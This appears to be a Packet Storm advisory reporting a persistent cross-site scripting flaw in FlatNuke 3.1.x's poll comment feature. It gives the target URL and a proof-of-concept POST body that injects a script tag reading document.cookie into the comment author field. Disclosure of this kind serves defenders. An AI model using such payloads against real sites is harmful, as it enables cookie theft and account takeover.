FlatNuke versions 3.1.x and below suffer from a cross site scripting vulnerability.
5a24e71816224fb41d555208fcaab69216971ec2ba44033ca2958711ffde12ca-------------------------------------------------------------------------
[+] FlatNuke <= 3.1.x (FlatPoll) Persistent XSS Vulnerability
-------------------------------------------------------------------------
[*] Discovered by Juri Gianni - Turin,Italy
[*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com
[*] Discovered on 13/11/2014
[*] Site Vendor: http://www.flatnuke.org
[*] Category: WebApp
[*] BUG: PERSISTENT XSS
-----------------------------------------------------------------------------------------------
[+] http://localhost/flatnuke/index.php?mod=none_Sondaggio
[+] Modify the POST content
------------------------------------------------------------------------------------------------
[-] writecomm=writecomm&by=[ANY USERNAME][XSS]&body=This is my comment
[-] writecomm=writecomm&by=ADMIN<script>alert(document.cookie)</script>&body=This is my comment
------------------------------------------------------------------------------------------------
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed